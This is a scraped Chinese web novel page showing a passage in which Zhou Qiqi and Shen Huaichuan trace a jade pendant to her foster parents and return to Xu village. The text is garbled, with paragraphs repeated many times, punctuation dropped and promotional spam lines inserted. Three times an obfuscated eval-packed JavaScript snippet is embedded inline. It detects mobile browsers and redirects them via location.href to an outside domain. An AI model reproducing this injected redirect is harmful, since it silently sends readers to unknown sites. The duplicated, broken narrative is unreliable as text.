“我也希望我不知道,但这两个人.我确实认识。” 她顿了顿,目光扫过瞬间屏住呼吸的周淑华和雷政委, “不仅是我,其实你也认识,师父师母大概也见过。” 周淑华像是被电流击中,猛地挣脱雷政委的搀扶,一步抢上前,声音发颤:“谁?是谁?” 她几乎是从周柒柒手里夺过那张画纸。 灯光下,那幅由舟舟根据混乱描述拼凑出的画像,五官组合带着点诡异的扭曲感,但不知为何,那些矛盾的线条里,隐隐约约,竟真的勾勒出一张有些眼熟的脸庞轮廓。 沈淮川凑近仔细一看,瞳孔猛地一缩,脱口而出:“这是.许树的母亲?” “没错,就是李桂香。” 周柒柒肯定地点点头, “算算时间,许家**概是一个多月前到的城里,他们是L省的,时间地点都对得上,还有这些七嘴八舌说的长相特征……” 她指了指画像上那刻薄的三角眼、略显塌陷的鼻梁, “拼凑起来,和他们至少有七八分像。” 之前她还纳闷,许家哪来的钱给林瑶办那场面上还算过得去的婚礼? 现在有了这玉佩,她算是全明白了。 周淑华双手死死攥着那张薄薄的纸,她只是在礼堂见过这两个人,只有个模糊印象。 “真的是他们?你确定?柒柒,你确定?!” 她猛地抬头,像抓住救命稻草一样死死抓住周柒柒的胳膊,声音有些激动, “他们是你的养父母!那你知道!你知道这玉佩他们是从哪儿弄来的吗?你认不认识我弟弟周建邦?!你见过他没有?!” 胳膊上传来的刺痛让周柒柒微微蹙眉。 “师母!您别激动!” 沈淮川立刻上前,掰开周淑华紧攥的手,把周柒柒护到身后,“慢慢说,慢慢说。” 周柒柒揉了揉被捏疼的胳膊,迎着那焦灼的目光,轻轻摇了摇头,语气平静: “这玉佩 ,我从来没见过。不知道他们从哪儿得来的。至于周建邦这个名字……我也是那天听淮川说过,才知道。” 周淑华眼中的火光瞬间黯淡下去,身体晃了晃。 但下一秒,她猛地转向雷政委,更激动了: “没关系,老雷,咱们马上去许家村找到他们!玉佩是他们卖的,他们一定知道我弟弟的下落!现在就回去收拾!明天!明天一早就走!坐最早的车!” 她语无伦次,推开挡路的凳子就要往外冲。 “淑华!你冷静点!” 雷政委赶紧追了出去。 沈淮川和周柒柒看着两人离开的方向,对视一眼,都摇了摇头。 周柒柒轻轻叹了口气,低声感叹道:“不想和周淑华车上关系的,结果兜兜转转,还是” 她顿了顿,抬头看着沈淮川紧绷的下颌线,又道: “待会儿,你去趟师父家吧,跟他们说,我们也跟他们一起去许家村一趟。” 沈淮川揽着她肩膀的手臂紧了紧,眉头深锁:“柒柒,你不必勉强自己,师母她.” “不是为了她,” 周柒柒轻声打断他, “我爸妈的坟还在村里。我嫁出来,还没回去上过香……再怎么样,也该去给他们敬柱香。” 她在心里默默地补充了一句:最主要的,是给原身敬柱香。 另外,她还隐隐有一个猜想,只有回到了许家村才能找到答案。 但愿不是她猜想的那样。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,我从来没见过。不知道他们从哪儿得来的。至于周建邦这个名字……我也是那天听淮川说过,才知道。” 周淑华眼中的火光瞬间黯淡下去,身体晃了晃。 但下一秒,她猛地转向雷政委,更激动了: “没关系,老雷,咱们马上去许家村找到他们!玉佩是他们卖的,他们一定知道我弟弟的下落!现在就回去收拾!明天!明天一早就走!坐最早的车!” 她语无伦次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104687|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,推开挡路的凳子就要往外冲。 “淑华!你冷静点!” 雷政委赶紧追了出去。 沈淮川和周柒柒看着两人离开的方向,对视一眼,都摇了摇头。 周柒柒轻轻叹了口气,低声感叹道:“不想和周淑华车上关系的,结果兜兜转转,还是” 她顿了顿,抬头看着沈淮川紧绷的下颌线,又道: “待会儿,你去趟师父家吧,跟他们说,我们也跟他们一起去许家村一趟。” 沈淮川揽着她肩膀的手臂紧了紧,眉头深锁:“柒柒,你不必勉强自己,师母她.” “不是为了她,” 周柒柒轻声打断他, “我爸妈的坟还在村里。我嫁出来,还没回去上过香……再怎么样,也该去给他们敬柱香。” 她在心里默默地补充了一句:最主要的,是给原身敬柱香。 另外,她还隐隐有一个猜想,只有回到了许家村才能找到答案。 但愿不是她猜想的那样。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我从来没见过。不知道他们从哪儿得来的。至于周建邦这个名字……我也是那天听淮川说过才知道。” 周淑华眼中的火光瞬间黯淡下去身体晃了晃。 但下一秒她猛地转向雷政委更激动了: “没关系老雷咱们马上去许家村找到他们!玉佩是他们卖的他们一定知道我弟弟的下落!现在就回去收拾!明天!明天一早就走!坐最早的车!” 她语无伦次推开挡路的凳子就要往外冲。 “淑华!你冷静点!” 雷政委赶紧追了出去。 沈淮川和周柒柒看着两人离开的方向对视一眼都摇了摇头。 周柒柒轻轻叹了口气低声感叹道:“不想和周淑华车上关系的结果兜兜转转还是” 她顿了顿抬头看着沈淮川紧绷的下颌线又道: “待会儿你去趟师父家吧跟他们说我们也跟他们一起去许家村一趟。” 沈淮川揽着她肩膀的手臂紧了紧 “不是为了她” 周柒柒轻声打断他 “我爸妈的坟还在村里。我嫁出来还没回去上过香……再怎么样也该去给他们敬柱香。” 她在心里默默地补充了一句:最主要的是给原身敬柱香。 另外她还隐隐有一个猜想只有回到了许家村才能找到答案。 但愿不是她猜想的那样。 你的朋友正在书荒,快去帮帮他吧 我从来没见过。不知道他们从哪儿得来的。至于周建邦这个名字……我也是那天听淮川说过才知道。” 周淑华眼中的火光瞬间黯淡下去身体晃了晃。 但下一秒她猛地转向雷政委更激动了: “没关系老雷咱们马上去许家村找到他们!玉佩是他们卖的他们一定知道我弟弟的下落!现在就回去收拾!明天!明天一早就走!坐最早的车!” 她语无伦次 “淑华!你冷静点!” 雷政委赶紧追了出去。 沈淮川和周柒柒看着两人离开的方向对视一眼都摇了摇头。 周柒柒轻轻叹了口气低声感叹道:“不想和周淑华车上关系的结果兜兜转转还是” 她顿了顿抬头看着沈淮川紧绷的下颌线又道: “待会儿你去趟师父家吧跟他们说我们也跟他们一起去许家村一趟。” 沈淮川揽着她肩膀的手臂紧了紧眉头深锁:“柒柒你不必勉强自己师母她.” “不是为了她” 周柒柒轻声打断他 “我爸妈的坟还在村里。我嫁出来还没回去上过香……再怎么样也该去给他们敬柱香。” 她在心里默默地补充了一句:最主要的是给原身敬柱香。 另外她还隐隐有一个猜想只有回到了许家村才能找到答案。 但愿不是她猜想的那样。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,我从来没见过。不知道他们从哪儿得来的。至于周建邦这个名字……我也是那天听淮川说过,才知道。 周淑华眼中的火光瞬间黯淡下去,身体晃了晃。 但下一秒,她猛地转向雷政委,更激动了: “没关系,老雷,咱们马上去许家村找到他们!玉佩是他们卖的,他们一定知道我弟弟的下落!现在就回去收拾!明天!明天一早就走!坐最早的车! 她语无伦次,推开挡路的凳子就要往外冲。 “淑华!你冷静点! 雷政委赶紧追了出去。 沈淮川和周柒柒看着两人离开的方向,对视一眼,都摇了摇头。 周柒柒轻轻叹了口气,低声感叹道:“不想和周淑华车上关系的,结果兜兜转转,还是 她顿了顿,抬头看着沈淮川紧绷的下颌线,又道: “待会儿,你去趟师父家吧,跟他们说,我们也跟他们一起去许家村一趟。 沈淮川揽着她肩膀的手臂紧了紧,眉头深锁:“柒柒,你不必勉强自己,师母她. “不是为了她, 周柒柒轻声打断他, “我爸妈的坟还在村里。我嫁出来,还没回去上过香……再怎么样,也该去给他们敬柱香。 她在心里默默地补充了一句:最主要的,是给原身敬柱香。 另外,她还隐隐有一个猜想,只有回到了许家村才能找到答案。 但愿不是她猜想的那样。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第241章 许家村 沈淮川看着周柒柒眉宇间的凝重,知道她心里有事。 他没多言语,只是轻轻点了点头,转身就出了门。 先去**那儿把假条给批了,随后脚步没停,径直往雷政委家去。 一进雷家大门,就见屋里跟遭了劫似的。 客厅地上摊着好几个包袱皮,衣裳裤子扔得哪儿都是。 周淑华正红着眼圈往提包里塞东西,手里忙活嘴也没闲着,碎碎念着: “这件厚的带上,路上天凉能穿。钱也得多揣点,还有建邦的衣裳,也得拣几件耐穿的.” 雷政委在一旁劝说,想让她冷静些: “淑华!你先别急!地址知道了,人跑不了!你这样乱糟糟的,路上怎么弄?” 可周淑华哪里听得进去,一把拽住他的胳膊,劲儿大得很: “你的衣裳建邦穿正合适,赶紧把你所有衣裳都找出来,全给建邦带去!” 直到沈淮川走上前,把他和周柒柒打算一块儿去的事儿说了,周淑华那股子火烧火燎的劲儿才慢慢缓下来。 这么些人一块儿走,自然不能再这么没头苍蝇似的乱撞,总得合计出个章程来。 最后敲定,两天后一起动身。 沈淮川回了家,把这消息跟周柒柒一说。 两天的时间还是有点赶的。 出远门,又是去遥远的小村,该带的东西一样不能少。 还有舟舟也得托付给别人帮忙看一下。 她们这一趟出去不是游山玩水,去得也不是什么好地方。 而且这一去,顺利的话三两天能回,要是不顺利,拖上个把礼拜也说不定,总不能耽误孩子上学。 邓翠香和朱莹莹一听说这事儿,都直拍胸脯说乐意帮着带舟舟。 这丫头乖巧懂事,一点不磨人,俩人疼她疼得跟啥似的。 可周柒柒心里盘算着,翠香姐要照看酱菜摊,家里娃又多,让舟舟住过去怕是添乱。 莹莹家有空房,人又心细,是最妥当的。 这么一琢磨,还是定了让莹莹帮忙带几天。 没成想姜向阳那小子不知道从哪儿听了信儿,抱着一摞零食“噔噔噔”跑过来,不由分说往周柒柒跟前一放,梗着脖子说要用这些换舟舟去他家。 周柒柒刚说句“不行,这小子“咚一声就坐在舟舟床上,屁股跟钉住了似的,任谁说都不动弹。 周柒柒被他这赖皮样儿逗乐了,蹲下身捏了捏他气鼓鼓的小脸: “小皮猴,不是周阿姨不答应,你看,舟舟去你家了,睡哪儿啊? “跟我睡呗! 向阳梗着小脖子,理直气壮,“我的床老大了!我都扫得干干净净的! “那可不行, 周柒柒笑着摇了摇头,“舟舟是女孩子,你是男孩子,不能睡一张床的。 向阳傻眼了,小脸皱作一团,琢磨了半天,忽然眼睛一亮: “那让舟舟跟我妈睡!我爸和我睡,这样总共行了吧? 这话一出,连旁边收拾东西的沈淮川都忍不住低低笑出了声。 周柒柒更是笑得眼泪都快出来了。 “哎哟我的小祖宗,你这主意打得,你爸知道了能乐意? 她好说歹说,又塞了一大把奶糖,再三保证“下次一定,这才把这小皮猴给哄走了。 临行前一天,周柒柒又去了趟第一服装厂。 生产线运转平稳,工人手脚麻利,一件件打着双面绣“柒字标的成衣,整齐地码进纸箱。 有了之前的大爆款,销路已经稳定打开,她把需要跟进的事宜跟张副厂长仔细交代了一下,也就走了。 第三天,天刚蒙蒙亮,一行人就往火车站赶。 周柒柒原以为就她和沈淮川,加上雷政委两口子,总共四个,没料到雷玉华也跟来了。 雷政委在一旁解释:“这丫头实在放心不下她妈,磨了我半天,非要跟着不可。 本来雷鸣也想来,被他硬劝回去了。 周柒柒这边,刚踏上车厢时心里还悬着,生怕一路要面对周淑华焦灼的目光。 直到找到座位,看到沈淮川给她买的是靠窗的位置,再前后一打量,发现和周淑华她们隔着一节车厢,悬着的心才悄悄落回肚子里,长长舒了口气。 两家人不在一车厢,眼不见心不烦,可前后挨着,真有事也能立马照应。 不得不说,沈淮川的心思还是挺细腻的。 车身晃动,窗外的风景开始向后飞驰。 这是 周柒柒第二次坐火车了。 上一次还是她独自一人揣着忐忑奔赴全然陌生的随军生活。 而几个月后的现在。 田野、村庄、河流.同样的风景在窗外流淌被朝阳染得暖暖的心里的滋味却大不一样了。 她微微侧头就能瞅见身边沈淮川沉稳的侧脸。 回想这几个月从刚穿过来时的懵懵懂懂到如今事业有了点模样身边也有了能依靠的人周柒柒只觉得像做了场光怪陆离的梦。 可身边那温热的身躯一遍遍提醒她这不是梦。 路途遥远先坐火车再换长途客车一路颠得人骨头都快散了架。 等终于到了L省那个挨着许家村的小城天早就擦黑了。 要去许家村至少还得在山路上颠簸两三个小时。 好在沈淮川出发前就跟当地军区打过招呼一行人被妥妥当当地安排进了军区招待所。 热乎饭菜、滚烫热水还有干净的床铺浑身的乏劲儿总算散了些。 院里还停着辆预备好的吉普车给第二天的行程添足了底气。 第二天大清早简单吃了口早饭吉普车就载着一行人往周柒柒记挂着的那个贫瘠山坳里开。 沈淮川握着方向盘周柒柒坐在副驾驶雷家三口挤在后头。 吉普车在坑坑洼洼的土路上颠得厉害 许家村窝在山坳里跟火车沿途经过的城镇比起来透着股子闭塞和贫瘠颇有点穷山恶水的味道。 土坯房大多又矮又旧屋顶不是铺着灰黑的旧瓦就是盖着发黄的茅草。 正是农闲时节不少村民袖着手蹲在墙根晒太阳、侃大山。 瞅见这辆只有公社干部下乡时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110768|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才偶尔露回面的吉普车都惊得直起身抻着脖子往这边望眼里满是稀奇。 这年头能坐着锃亮吉普车进村的不是大官就是出了天大的事。 车子还没进村呢得到消息的村长已经小跑着迎了上来布满沟壑的脸上堆满了诚惶诚恐的笑容腰杆子不自觉地弯着: “**几位**这是咋啦?出.出啥大事了?” 沈淮川让其他人先在车里别动自己推开车门高大的身影 落地,沉稳干练。 他往前挪了一步,伸手扶了扶村长的胳膊,语气温和: “老同志,别紧张,没出啥事,我们是来找许铁生和李桂香两口子的,有点事想问问他们。 “找老许家? 村长一愣,明显松了口气。 他心想,这老许家,啥时候攀上这么硬的关系了? 别人看不出来,可他是正经见过世面的,一眼就看出来,眼前的年轻人虽然没穿军装,但绝对是一个军人,而且级别还不低! 他不敢怠慢,连忙点头哈腰: “哎哎,好,好!他家在村尾,山根儿底下,离这儿还有段路呢,路不好走,我带**们过去! 他在前头走着,沈淮川开车在后头开着。 一路上经过的村民都跑出来看热闹,一群人围着,跟着往那边挪。 这是军用的吉普车,外头看不清里头,村民们不知道什么情况,只能瞎猜。 众人你一言我一语的,说啥的都有。 “这车是去桂香婶子家的?! “可不!前阵子桂香婶子跟我念叨,我还不信,没想到是真的!许树真在城里攀上高枝儿了! “我的老天爷,恁大的车!许家两口子这是要去城里享福喽! “许家要发达啦!这下许老蔫要抖起来了! 车子还没到呢,就有好事的村民扯开嗓子用尽全身力气吆喝起来: “许家的!许铁生!李桂香!快出来!有大汽车来找你们啦——! 此时此刻,村尾山脚下的许家小院里。 李桂香正翘着腿坐在门槛上,手里端着一个粗碗,一边喝着凉水,一边问道。 “你说树儿啥时候能挣钱寄回来?那枣儿也是,咋一点儿信儿都没有? 许铁生蹲在墙角,闷头抽着旱烟,烟锅子“吧嗒吧嗒响,一声不吭。 林瑶和许树结婚之后,两人就回村儿了,中间只收到一封许枣的信,说是林家给了好多钱,其余的就都不知道了。 之前两人没去城里,只从许树的信里听说城里多好多好,但没亲身体验过。 自从上回去了一趟军属区,跟着林瑶生活了几天,算是彻底懂得了什么是“好日子。 两口子回来之后是地也不弄了,饭也不做了,热水都不烧了,整天就糊弄着过日子。 就等着许树从林瑶家里拿到钱后,做一番大事业,挣大钱,接她们去城里享福,捧着金饭碗吃饭。 两人还不知道,这短短的一个月,S市发生了太多太多的事。 更不知道,他们心心念念的儿子许树,现在已经进去了。 第242章 衣锦还乡 李桂香发了通感慨,手里那碗凉水也没心思喝了,“哗啦”一下就泼在地上。 这院子一个多月没人拾掇,杂草长了大半个院子,可两人谁也没往心里去。 这院子,这砖瓦房,是十三年前,也就是周柒柒到许家来那一年盖起来的。 当年在村里,那可是风光了好一阵子,谁家见了不眼热。 就是这些年许家没人上心打理,院墙塌了半截也懒得修补,露出里面那同样显旧、早没了光鲜劲儿的屋子。 但砖木的架子还在,跟四周那些土坯房一比,仍旧透着几分“阔气”,村里别家还真比不了。 “许家的!.” 外头的吆喝响起来,李桂香手里的碗“哐当”一声掉了,摔得粉碎。 她猛地从地上站起来,三角眼里先是一片空茫,眼珠子直愣愣的,紧接着就爆发出不敢信的狂喜,吊梢眉挑得老高,几乎要飞到天灵盖上去! “他爹!你听见没?听见没?” 她激动得不得了,一把拽起还蹲着的许铁生,力道大得差点把瘦小的许铁生拽个跟头, “大汽车!城里来的大汽车找咱!我说啥来着?我就说咱树儿有出息,肯定是树儿在城里发达了,来接咱老两口去享福啦!老天爷开眼啊!” 许老蔫闷声闷气地“嗯”了一声,赶紧扔掉手里的烟袋锅子,顾不上拍掉身上的土坷垃。 跟着激动得浑身打颤、仿佛一下子年轻了十岁的李桂香就往外冲。 两人跌跌撞撞跑出那塌了半截、露出里面红砖的院门,正好瞅见那辆在村民围着的黑色吉普车正在慢慢开过来。 太阳底下,黑色的车身亮得晃眼,刺得人眼睛有点花。 周围全是来看热闹的村民,指指点点,说啥的都有。 那些羡慕又带点嫉妒的眼神,让李桂香的虚荣心一下子涨到了顶,腰杆挺得笔直,下巴抬得老高,仿佛她这会儿已经是城里人了。 “瞅瞅!瞅瞅!我说啥来着?我们家树儿就是许家村最有出息的!这不,一斤.一斤.” 她想说什么,但话在嘴里打了个转,愣是说不出来。 旁边一个裹着蓝头巾的麻利嫂子“噗嗤”乐了,扯着大嗓门喊: “桂香婶子!一斤啥啊?一斤 高粱还是一斤小麦啊?你是想说‘衣锦还乡’吧?!我的老天爷,你咋连这都不知道哇? 人群里立刻有人接茬,声音带着明晃晃的奚落: “嗨!她家谁认得几个大字?也就柒柒丫头,跟着人家亲爹妈学了点墨水,是她家最有文化的,结果她还看不起人家,也不知道把人打发到哪里去了,小丫头可怜啊 这话像捅了马蜂窝,不少村民跟着点头附和。 李桂香和许老蔫两口子什么德性,村里谁不清楚? 村儿里没人待见他们两口子,所以这一家子,只能住在山脚下最偏远的地方。 光是这些也就算了。 当年这一家子对柒柒那丫头,可没少使唤刻薄,七八岁的年纪,就得做一家人的饭,大冬天还使唤人家小姑娘去冰窟窿里打水。 一桩桩一件件,村里人都是看在眼里的,大家都挺心疼那丫头的。 可惜当年柒柒的父母把她交给许老蔫家,就是人家家里的孩子,她们心疼也没多大用。 听了众人絮落,李桂香脸上那点得意瞬间没了,她三角眼一吊,胳膊抡得像赶苍蝇: “滚滚滚!都给我让开点!挡着我儿子衣锦.还乡的道儿了! 她总算把那词儿完整地吼了出来,唾沫星子喷得老远。 “少提那个没良心的晦气丫头!忘恩负义的白眼狼!她还能去哪儿?我上次不是说过了嘛?她跟着野汉子跑了呗!你们是不知道那丫头,吃我许家的,喝我许家的,结果. “来了来了!车停了! 不知谁喊了一嗓子,正好打断了李桂香的咒骂。 所有人的目光唰地聚焦在那辆锃亮的黑吉普上。 车门“哐当一响,那沉重的金属声在寂静的山脚下,显得格外刺耳。 李桂香眼巴巴地往前凑,脸上瞬间又堆满了谄媚的笑,褶子挤成一团,刚张开嘴准备喊“树儿。 车门推开,一只穿着厚重黑色皮鞋的脚稳稳踏在浮土上,带起一小股烟尘。 紧接着,一个高大挺拔的身影钻出了车门。 来人穿着一身笔挺的深灰色中山装,布料厚实挺括,连一丝褶皱也没有。 领口的扣子严严实实地扣到脖颈,既板正,又威严。 这身城里干部常见的中山装,穿在他身上却硬是被那宽阔的肩膀和沉稳如山的气场,撑出了不一样的分量。 他身量极高,站在那,一双眼睛沉静无波地扫过人群,空气都仿佛凝滞了几分。 这哪是许树? 分明是尊煞神! 李桂香脸上的笑僵住了,她吓得“哎哟”一声,脚底下跟踩了火炭似的,猛地往后一蹦,差点撞到后面看热闹的人。 围观的村民也有些惊讶。 “不是许树?我的娘嘞这谁啊?好大的派头!” “不会是许树派来接他爹妈的吧?乖乖,这排场.” “怎么可能,我瞧着人家像是大干部!” 别人不知道,但李桂香却是知道这是谁的。 她脸上的得意和高兴全没了,嘴唇哆嗦着,手指颤巍巍地指着来人: “你你你,你不是那个沈,沈.淮川,沈团长吗?!你来这儿做什么?” 沈淮川没理会她,连周遭村民那些惊疑不定的眼神都没多瞧一眼。 他转过身,径直走向副驾驶,微微弯下腰,朝着里头伸出手来。 一只白皙纤细、骨节匀称的手,轻轻搭在了他宽厚的手掌上。 下一秒,一个身影被沈淮川小心地扶了出来。 女人穿着一身剪裁合体的米白色毛呢长裙,裙摆垂到小腿肚,外面罩着一件浅驼色的羊绒大衣,衬得身段窈窕又挺拔。 乌黑的头发在脑后松松挽了个髻,露出光洁饱满的额头和一段修长的脖颈。 脸上的皮肤白净细腻得像能透光,眉眼亮得跟秋水似的,鼻梁秀挺,嘴唇是自然的浅粉色。 脚上是一双小巧的棕色小羊皮靴,踩在这满是碎石黄土的地面上,格格不入,却又亮眼得让人移不开视线。 前来看热闹的村民,一个个眼睛都瞪得溜圆。 他们见过新嫁娘穿红袄,见过城里来的知青穿的确良,可何曾见过这样精致、这样气派、像是从年画里走出来的仙女? 一时都有些看呆了。 沈淮川不动声色地挪了一步,高大的身躯像一堵墙,替她挡去了部分男人直勾勾的目光。 他那身深灰的中山装和周柒柒素雅的呢大衣站在一起,一刚一柔,气势却浑然一体 ,压得人喘不过气。 就在这时,刚才那个挤兑李桂香,为周柒柒说话的蓝头巾嫂子,使劲揉了揉眼睛,又往前挤了半步,歪着头,死死盯着周柒柒的脸。 她脸上的疑惑慢慢变成了没法相信的震惊,嘴巴张得能塞下个鸡蛋,猛地一拍大腿,扯着嗓子喊: “我的老天爷!你是柒柒?周家那个柒柒丫头?!” 那一声“柒柒”像根针,猛地刺破了周柒柒刻意维持的平静。 踏上许家村这片土地之前,她很少回忆原身这部分的记忆,总感觉有点太痛苦了。 可这会儿,听着这熟悉的、带着浓重乡音的呼喊,看着眼前这张记挂里带点善意的妇人脸。 不知咋的,一股说不出的亲近劲儿就冒了出来。 这位张婶子,从前跟原身母亲处得还算好,原身爹妈没了后,她也常照拂原身,时不时偷偷塞半块窝头、一把炒豆子啥的。 实打实的是个好人。 周柒柒对着那位正使劲揉眼睛、满脸不敢置信的蓝头巾妇人,弯起唇角,露出一个清浅却真实的笑容,声音温润: “张婶子,是我,我是柒柒。” “哎哟!我的老天爷!真是你啊柒柒!” 张婶子这下彻底确认了,激动得一拍大腿,嗓门更亮了, “我刚才瞅着就像!可可这变化也太大了!婶子都不敢认了!” 周围的村民彻底炸了锅。 “啥?柒柒?许家那个柒柒丫头?” “不能吧!柒柒丫头不是整天穿件洗得发白的破棉袄,脸黑黢黢的,瘦得跟豆芽菜似的吗?” “就是就是!跟眼前这位,这.这哪是一个人?” 张婶子叉着腰,声音里带点自豪,仿佛柒柒的变化有她一份功劳似的: “你们懂个啥!柒柒她娘齐琳,当年可是咱村顶顶漂亮的村花!柒柒那底子能差?以前是天天干活,灰头土脸的,好东西也轮不着她吃,显不出来!” 她指着自己饱经风霜的脸,“就跟我一样,拾掇拾掇,就能跟朵花一样!” “得了吧老张家的!就你那大脸盘子,跟人家柒柒能比?” 立刻有村民笑着打岔,引来一片哄笑。 笑声里,更多疑问冒了出来: “哎不对啊!刚才桂香婶子不是说柒柒丫头跟野汉子跑了么?” “是啊!这又是咋回事?” “这位大兄弟是.?” 所有的目光齐刷刷地聚焦在周柒柒身边那个如山岳般沉稳的男人身上。 沈淮川适时地向前迈了半步高大的身躯将周柒柒护得更周全些。 他没看那些七嘴八舌的村民眼神稳稳落在张婶子身上主动伸出手。 “张婶子您好。” 他的声音带着一种天然的沉稳和威严“我是周柒柒的爱人沈淮川。” “爱爱人?” 张婶子瞅着伸到面前的大手有些手足无措小心翼翼伸出手去轻轻碰了一下沈淮川的指尖立刻又缩了回来。 她心里直打鼓这气势这做派跟她那个当兵给的小舅子一模一样! 不过他小舅子身上那点气势可跟眼前这位比那简直是土坷垃见了泰山! 这绝对是部队里的大官错不了! 她结结巴巴地问道“您您是不是部队里出来的啊?” 沈淮川微微一笑没有否认。 这下村民们彻底炸开了锅。 “我的老天爷!柒柒那丫头嫁了个军人?!” “还不是普通军人!你看那车!还有这身派头!” “这哪儿是什么野男人啊!桂香婶子那张嘴……真是吐不出**!” 张婶子叉着腰一脸的得意道: “啧啧啧这叫啥?这就叫衣锦还乡!对!这才是正儿八经的衣锦还乡!” 村民们的议论得更厉害了看向周柒柒的目光彻底变了。 有惊叹有羡慕还有替她扬眉吐气的痛快。 大家再看向僵在院门口、脸色灰败如土的李桂香时就只剩下毫不掩饰的鄙夷和看热闹的兴奋。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “哎,不对啊!刚才桂香婶子不是说柒柒丫头,跟野汉子跑了么?” “是啊!这又是咋回事?” “这位大兄弟是.?” 所有的目光,齐刷刷地聚焦在周柒柒身边那个如山岳般沉稳的男人身上。 沈淮川适时地向前迈了半步,高大的身躯将周柒柒护得更周全些。 他没看那些七嘴八舌的村民,眼神稳稳落在张婶子身上,主动伸出手。 “张婶子,您好。” 他的声音带着一种天然的沉稳和威严,“我是周柒柒的爱人,沈淮川。” “爱爱人?” 张婶子瞅着伸到面前的大手,有些手足无措,小心翼翼伸出手去,轻轻碰了一下沈淮川的指尖,立刻又缩了回来。 她心里直打鼓,这气势,这做派,跟她那个当兵给的小舅子一模一样! 不过他小舅子身上那点气势,可跟眼前这位比,那简直是土坷垃见了泰山! 这绝对是部队里的大官,错不了! 她结结巴巴地问道,“您您是不是部队里出来的啊?” 沈淮川微微一笑,没有否认。 这下,村民们彻底炸开了锅。 “我的老天爷!柒柒那丫头嫁了个军人?!” “还不是普通军人!你看那车!还有这身派头!” “这哪儿是什么野男人啊!桂香婶子那张嘴……真是吐不出**!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110769|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张婶子叉着腰,一脸的得意道: “啧啧啧,这叫啥?这就叫衣锦还乡!对!这才是正儿八经的衣锦还乡!” 村民们的议论得更厉害了,看向周柒柒的目光彻底变了。 有惊叹,有羡慕,还有替她扬眉吐气的痛快。 大家再看向僵在院门口、脸色灰败如土的李桂香时,就只剩下毫不掩饰的鄙夷和看热闹的兴奋。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “哎不对啊!刚才桂香婶子不是说柒柒丫头跟野汉子跑了么?” “是啊!这又是咋回事?” “这位大兄弟是.?” 所有的目光齐刷刷地聚焦在周柒柒身边那个如山岳般沉稳的男人身上。 沈淮川适时地向前迈了半步高大的身躯将周柒柒护得更周全些。 他没看那些七嘴八舌的村民眼神稳稳落在张婶子身上主动伸出手。 “张婶子您好。” 他的声音带着一种天然的沉稳和威严“我是周柒柒的爱人沈淮川。” “爱爱人?” 张婶子瞅着伸到面前的大手有些手足无措小心翼翼伸出手去 她心里直打鼓这气势这做派跟她那个当兵给的小舅子一模一样! 不过他小舅子身上那点气势可跟眼前这位比那简直是土坷垃见了泰山! 这绝对是部队里的大官错不了! 她结结巴巴地问道“您您是不是部队里出来的啊?” 沈淮川微微一笑没有否认。 这下村民们彻底炸开了锅。 “我的老天爷!柒柒那丫头嫁了个军人?!” “还不是普通军人!你看那车!还有这身派头!” “这哪儿是什么野男人啊!桂香婶子那张嘴……真是吐不出**!” 张婶子叉着腰一脸的得意道: “啧啧啧这叫啥?这就叫衣锦还乡!对!这才是正儿八经的衣锦还乡!” 村民们的议论得更厉害了看向周柒柒的目光彻底变了。 有惊叹有羡慕还有替她扬眉吐气的痛快。 大家再看向僵在院门口、脸色灰败如土的李桂香时就只剩下毫不掩饰的鄙夷和看热闹的兴奋。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “哎,不对啊!刚才桂香婶子不是说柒柒丫头,跟野汉子跑了么?” “是啊!这又是咋回事?” “这位大兄弟是.?” 所有的目光,齐刷刷地聚焦在周柒柒身边那个如山岳般沉稳的男人身上。 沈淮川适时地向前迈了半步,高大的身躯将周柒柒护得更周全些。 他没看那些七嘴八舌的村民,眼神稳稳落在张婶子身上,主动伸出手。 “张婶子,您好。” 他的声音带着一种天然的沉稳和威严,“我是周柒柒的爱人,沈淮川。” “爱爱人?” 张婶子瞅着伸到面前的大手,有些手足无措,小心翼翼伸出手去,轻轻碰了一下沈淮川的指尖,立刻又缩了回来。 她心里直打鼓,这气势,这做派,跟她那个当兵给的小舅子一模一样! 不过他小舅子身上那点气势,可跟眼前这位比,那简直是土坷垃见了泰山! 这绝对是部队里的大官,错不了! 她结结巴巴地问道,“您您是不是部队里出来的啊?” 沈淮川微微一笑,没有否认。 这下,村民们彻底炸开了锅。 